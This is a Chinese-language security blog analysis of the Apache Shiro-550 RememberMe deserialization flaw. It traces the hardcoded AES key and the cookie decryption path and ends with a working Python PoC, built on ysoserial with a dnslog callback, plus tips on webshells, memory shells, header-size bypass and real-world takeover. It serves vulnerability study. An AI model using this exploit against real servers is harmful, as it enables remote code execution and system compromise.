环境搭建
首先github下载
https://github.com/apache/shiro/archive/refs/tags/shiro-root-1.2.4.zip
使用IDEA打开,等待下载依赖,有点慢
下载完依赖后,打开samples/web/pom.xml
如图,添加如下
添加后更新maven依赖
然后配置tomcat,注意端口可能会冲突
都配置好后,点击调试,打开如下页面就是成功了
如图登录,勾选Remember Me,点击登录,抓包
如图,看到rememberMe字段
了解项目
在开始前先简单了解下shiro,如图
看一下网站目录结构
看下login.jsp
文件的开始,导入了include.jsp
<%@ include file="include.jsp" %>
include.jsp内容如下
<%@ page import="org.apache.shiro.SecurityUtils" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
<%@ taglib prefix="shiro" uri="http://shiro.apache.org/tags" %>
这样一来,就可以使用<c:out>标签输出数据、使用<c:if>像平时使用if一样、使用fmt:parseNumber解析数据、使用shiro:guest设置标签内的权限为guest等等操作(所以相当于从远程导入库,使用prefix设置前缀,下次使用前缀就可以调用库里的功能了)
这里远程调用的库文件是.tld结尾的文件
如图,shiro:guest标签的内容,只有当前权限是guest时,才能看见
再看下home.jsp
这一段标签,如果权限是guest表示还未登陆,就会提示登录信息。如果登录成功,则是:Hi XXX ! ( Log out )
shiro.ini配置如图,具体什么意思一目了然
大概就粗略了解这些吧
漏洞分析
shiro核心源码在这里
如图,在这里看见了硬编码的key
思考一下在哪里加断点
Remember me的作用就是,一次登录,后面在有效期内免登录。
那么登录后,每次访问home页面,都会对身份校验,解析Cookies中的RememberMe,所以只要找到解析Cookie的函数就可以
加密过程
翻看当前类看到onSuccessfulLogin方法,应该是登录成功后调用,加断点,登录时成功拦截
看一下函数,猜测是先清除之前的Identity,然后创建新Identity(防止之前的认证信息被复用)
进入rememberIdentity方法,如图,先将身份信息转byte,再将它序列化
convertPrincipalsToBytes函数如图,先将身份信息序列化为byte数组,再加密,返回
再进入rememberSerializedIdentity方法,如图
将身份信息序列化,写入Cookie
以上就是生成RememberMe的过程,经历过了加密,那使用到RememberMe的时候一定会经历解密
解密过程
在encrypt方法所在类(AbstractRememberMeManager类),发现了decrypt方法,如图,加断点
在使用到RememberMe是一定会用到decrypt,home.jsp页面对身份信息是有校验的,所以在decrypt方法加断点,再访问home.jsp页面,应该会进入decrypt方法的断点
但是失败了,,根本没调用decrypt方法
burp抓包看一下,如图Cookie包含JSESSIONID和rememberMe
猜测,当JSESSIONID未失效时,不会用到rememberMe,所以将JSESSIONID删掉,再发包试试
如图,成功进入decrypt方法
调用栈如图
查看之前的调用栈,发现,在ShiroFilter里,使用request、response对象,创建了subjectContext
然后如图,从subjectContext中提取Identity(Identity应该包含了RememberMe的信息)
然后对Identity解密
可惜,没看见rememberMe
看下getRememberedSerializedIdentity方法,如何从subjectContext提取Identity的
如图,从subjectContext中又解析出request和response了,然后获取到了cookie。这里的base64正是burp传入的RememberMe
然后对RememberMe执行ensurePadding方法,然后base64解码,返回
看下ensurePadding方法,如图,是填充=的
好了现在再回到decrypt方法,这里的encrypted就是base64解码后的RememberMe
首先通过CipherService对象,对RememberMe解密,然后返回byte数组
继续跟踪,看后面如何对这个byte数组反序列化的
如图byte转Principals方法,调用了反序列化方法
如图,这就直接反序列化了
构造payload
知道了加密、解密、反序列化过程,构造payload就很容易了
先弄一个恶意序列化对象(可以用ysoserial库生成),然后调用AbstractRememberMeManager.encrypt方法加密,再base64编码,就ok
看一下AbstractRememberMeManager.encrypt方法如何加密的
如图,getEncryptionCipherKey()获取到的是硬编码的key
如图,最终跟踪到这里,使用javax.crypto.Cipher对象进行加密的,这里的mode是加密模式(这里的mode对应模式是AES的CBC模式),key就是shirokey,iv是向量,不同的iv生成的加密结果不同,解密时需要使用相同的iv才能解密
看下iv的生成方式,,随机生成的
看下解密的iv获取方式,直接取加密的序列化对象前16位做iv
因为在加密时,iv会拼接在加密结果前面,所以加密后的内容前16位就是iv(iv作用就是可以使每次加密结果都不一样,不是用来解密的,所以可以直接明文,key才是用来解密的)
现在知道了加密方式
RememberMe是使用AES加密的序列化对象
那就很简单了,可以先用ysoserial生成payload,然后用python对它AES加密,key就是ShiroKey
python脚本如下
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
ShiroKey验证
现在已知反序列化漏洞,可以构造payload了
但是key需要猜,怎么验证是否被解密成功,反序列化成功?
常见的方式有很多种
dnslog(dnslog需要机器出网)
延时
回显
直接打内存马,写webshell等操作
回显的问题后面再说,和JNDI注入的回显一起说
长度限制绕过
如果反序列化利用链太长,导致payload过长,超过了Header的max size,就会出问题
解决方法
先构造个payload,通过反射修改org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,把这个值改大一点
使用CloassLoader,加载远程恶意类(需要机器出网,不出网的话,可以配合本地文件上传,例如上传头像之类的)
使用body传递字节码,加载body中的class
实战利用
实战中,网站可能会有任意文件读取漏洞,而且刚好用了shiro
那就可以通过任意文件读取,读取ShiroKey,然后通过shiro反序列化,获得主机权限
路径一般是网站目录下的/WEB-INF/classes/spring-shrio.xml或spring-context-shiro.xml等
HW时可能需要暂时修改key,防止当前点被友商攻击,那可以通过反射,修改DEFAULT CIPHER KEY的值,,由于当前DEFAULT CIPHER KEY的值存于JVM方法区,当站点重启时,又会重新加载类,JVM中的key就会恢复,所以这种方式修改是暂时的
如果想永久的修改key,可以修改或设置Shiro的配置文件
Shiro 721
推荐下面文章,我就不分析了
参考文章 https://www.anquanke.com/post/id/193165
总结
本篇介绍了Shiro 550的漏洞产生原因、header长度限制绕过方式、实战利用方式等